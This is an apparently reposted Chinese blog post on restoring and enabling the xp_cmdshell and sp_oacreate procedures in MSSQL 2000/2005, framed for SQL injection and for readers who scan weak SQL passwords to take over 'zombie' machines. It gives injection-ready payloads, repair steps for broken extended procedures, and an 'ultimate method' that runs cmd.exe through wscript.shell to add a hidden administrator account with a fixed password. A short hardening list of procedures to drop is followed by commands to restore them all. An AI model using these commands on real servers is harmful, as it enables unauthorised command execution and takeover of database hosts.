MSSQL2005恢复xp_cmdshell

桃扇骨 2022-06-10 04:50 70阅读 0赞

SQL Server 阻止了对组件 'xp\_cmdshell' 的 过程'sys.xp\_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp\_configure 启用 'xp\_cmdshell'。有关启用 'xp\_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。  
SQL2005 在默认的设置中是删除了 XP\_CMDSHELL的，因此也在注射过程中产生了点困难。后来经过查看MSSQL2005的手册才知道情况原来如此：  
用下面一句话就可以了解决了。  
;EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 1;RECONFIGURE;--  
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.  
;EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 0;RECONFIGURE;--  
  
  
如果cmdshell还不行的话，就再运行：  
;dbcc addextendedproc("xp\_cmdshell","xplog70.dll");--  
或者  
;sp\_addextendedproc xp\_cmdshell,@dllname='xplog70.dll'  
来恢复cmdshell。  
1433SQL入侵恢复xp\_cmdshell方法总结  
sql server 2005下开启xp\_cmdshell的办法  
EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 1;RECONFIGURE;  
  
  
SQL2005开启'OPENROWSET'支持的方法：  
exec sp\_configure 'show advanced options', 1;RECONFIGURE;exec sp\_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;  
  
  
SQL2005开启'sp\_oacreate'支持的方法:  
exec sp\_configure 'show advanced options', 1;RECONFIGURE;exec sp\_configure 'Ole Automation Procedures',1;RECONFIGURE;  
  
  
突破SA的各种困难  
常见情况恢复执行xp\_cmdshell  
1 未能找到存储过程'master..xpcmdshell'.  
恢复方法：查询分离器连接后,  
第一步执行:EXEC sp\_addextendedproc xp\_cmdshell,@dllname ='xplog70.dll'declare @o int  
第二步执行:sp\_addextendedproc 'xp\_cmdshell', 'xpsql70.dll'  
然后按F5键命令执行完毕  
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。）  
恢复方法：查询分离器连接后,  
第一步执行：sp\_dropextendedproc "xp\_cmdshell"  
第二步执行：sp\_addextendedproc 'xp\_cmdshell', 'xpsql70.dll'  
然后按F5键命令执行完毕  
3 无法在库 xpweb70.dll 中找到函数 xp\_cmdshell。原因: 127(找不到指定的程序。)  
恢复方法：查询分离器连接后,  
第一步执行:exec sp\_dropextendedproc 'xp\_cmdshell'  
第二步执行:exec sp\_addextendedproc 'xp\_cmdshell','xpweb70.dll'  
然后按F5键命令执行完毕  
四.终极方法.  
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:  
查询分离器连接后,  
2000servser系统:  
declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp\_oamethod @shell,'run',null,'c:\\winnt\\system32\\cmd.exe /c net user dell huxifeng007 /add'  
declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp\_oamethod @shell,'run',null,'c:\\winnt\\system32\\cmd.exe /c net localgroup administrators dell /add'  
  
  
xp或2003server系统:  
declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp\_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c net user dell huxifeng007 /add'  
declare @shell int exec sp\_oacreate 'wscript.shell',@shell output exec sp\_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c net localgroup administrators dell /add'  
  
  
\--------------  
xp\_cmdshell新的恢复办法  
删除  
drop procedure sp\_addextendedproc  
drop procedure sp\_oacreate  
exec sp\_dropextendedproc 'xp\_cmdshell'  
  
  
恢复  
dbcc addextendedproc ("sp\_oacreate","odsole70.dll")  
dbcc addextendedproc ("xp\_cmdshell","xplog70.dll")  
  
  
这样可以直接恢复，不用去管sp\_addextendedproc是不是存在  
\-----------------------------  
删除扩展存储过过程xp\_cmdshell的语句:  
exec sp\_dropextendedproc 'xp\_cmdshell'  
  
  
恢复cmdshell的sql语句  
exec sp\_addextendedproc xp\_cmdshell ,@dllname ='xplog70.dll'  
  
  
开启cmdshell的sql语句  
exec sp\_addextendedproc xp\_cmdshell ,@dllname ='xplog70.dll'  
  
  
判断存储扩展是否存在  
select count(\*) from master.dbo.sysobjects where xtype='x' and name='xp\_cmdshell'  
返回结果为1就ok  
恢复xp\_cmdshell  
exec master.dbo.addextendedproc 'xp\_cmdshell','xplog70.dll';select count(\*) from master.dbo.sysobjects where xtype='x' and name='xp\_cmdshell'  
返回结果为1就ok  
否则上传xplog7.0.dll  
exec master.dbo.addextendedproc 'xp\_cmdshell','c:\\winnt\\system32\\xplog70.dll'  
  
  
堵上cmdshell的sql语句  
sp\_dropextendedproc "xp\_cmdshell  
\----------------  
删除sql危险存储：  
  
  
DROP PROCEDURE sp\_makewebtask  
exec master..sp\_dropextendedproc xp\_cmdshell  
exec master..sp\_dropextendedproc xp\_dirtree  
exec master..sp\_dropextendedproc xp\_fileexist  
exec master..sp\_dropextendedproc xp\_terminate\_process  
exec master..sp\_dropextendedproc sp\_oamethod  
exec master..sp\_dropextendedproc sp\_oacreate  
exec master..sp\_dropextendedproc xp\_regaddmultistring  
exec master..sp\_dropextendedproc xp\_regdeletekey  
exec master..sp\_dropextendedproc xp\_regdeletue  
exec master..sp\_dropextendedproc xp\_regenumkeys  
exec master..sp\_dropextendedproc xp\_regenumvalues  
exec master..sp\_dropextendedproc sp\_add\_job  
exec master..sp\_dropextendedproc sp\_addtask  
exec master..sp\_dropextendedproc xp\_regread  
exec master..sp\_dropextendedproc xp\_regwrite  
exec master..sp\_dropextendedproc xp\_readwebtask  
exec master..sp\_dropextendedproc xp\_makewebtask  
exec master..sp\_dropextendedproc xp\_regremovemultistring  
exec master..sp\_dropextendedproc sp\_OACreate  
DROP PROCEDURE sp\_addextendedproc  
@dllname varchar(255) as  
set implicit\_transactions off  
if @@trancount > 0  
begin  
raiserror(15002,-1,-1,'sp\_addextendedproc')  
return (1)  
end  
dbcc addextendedproc( @functname, @dllname)  
return (0) -- sp\_addextendedproc  
GO  
  
  
再恢复以上所有扩展存储过程  
SQL代码：  
use master  
exec sp\_addextendedproc xp\_cmdshell,'xp\_cmdshell.dll'  
exec sp\_addextendedproc xp\_dirtree,'xpstar.dll'  
exec sp\_addextendedproc xp\_enumgroups,'xplog70.dll'  
exec sp\_addextendedproc xp\_fixeddrives,'xpstar.dll'  
exec sp\_addextendedproc xp\_loginconfig,'xplog70.dll'  
exec sp\_addextendedproc xp\_enumerrorlogs,'xpstar.dll'  
exec sp\_addextendedproc xp\_getfiledetails,'xpstar.dll'  
exec sp\_addextendedproc sp\_OACreate,'odsole70.dll'  
exec sp\_addextendedproc sp\_OADestroy,'odsole70.dll'  
exec sp\_addextendedproc sp\_OAGetErrorInfo,'odsole70.dll'  
exec sp\_addextendedproc sp\_OAGetProperty,'odsole70.dll'  
exec sp\_addextendedproc sp\_OAMethod,'odsole70.dll'  
exec sp\_addextendedproc sp\_OASetProperty,'odsole70.dll'  
exec sp\_addextendedproc sp\_OAStop,'odsole70.dll'  
exec sp\_addextendedproc xp\_regaddmultistring,'xpstar.dll'  
exec sp\_addextendedproc xp\_regdeletekey,'xpstar.dll'  
exec sp\_addextendedproc xp\_regdeletue,'xpstar.dll'  
exec sp\_addextendedproc xp\_regenumvalues,'xpstar.dll'  
exec sp\_addextendedproc xp\_regread,'xpstar.dll'  
exec sp\_addextendedproc xp\_regremovemultistring,'xpstar.dll'  
exec sp\_addextendedproc xp\_regwrite,'xpstar.dll'  
exec sp\_addextendedproc xp\_availablemedia,'xpstar.dll'  
SQL Server 阻止了对组件 'xp\_cmdshell' 的 过程'sys.xp\_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp\_configure 启用 'xp\_cmdshell'。有关启用 'xp\_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。  
经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 ！  
接下来我们用SQL语句搞定他  
分析器执行的语句：

EXEC sp\_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp\_cmdshell', 1;RECONFIGURE

[http://blog.sina.com.cn/s/blog\_4e33c7180100g4t6.html][http_blog.sina.com.cn_s_blog_4e33c7180100g4t6.html]

[http_blog.sina.com.cn_s_blog_4e33c7180100g4t6.html]: http://blog.sina.com.cn/s/blog_4e33c7180100g4t6.html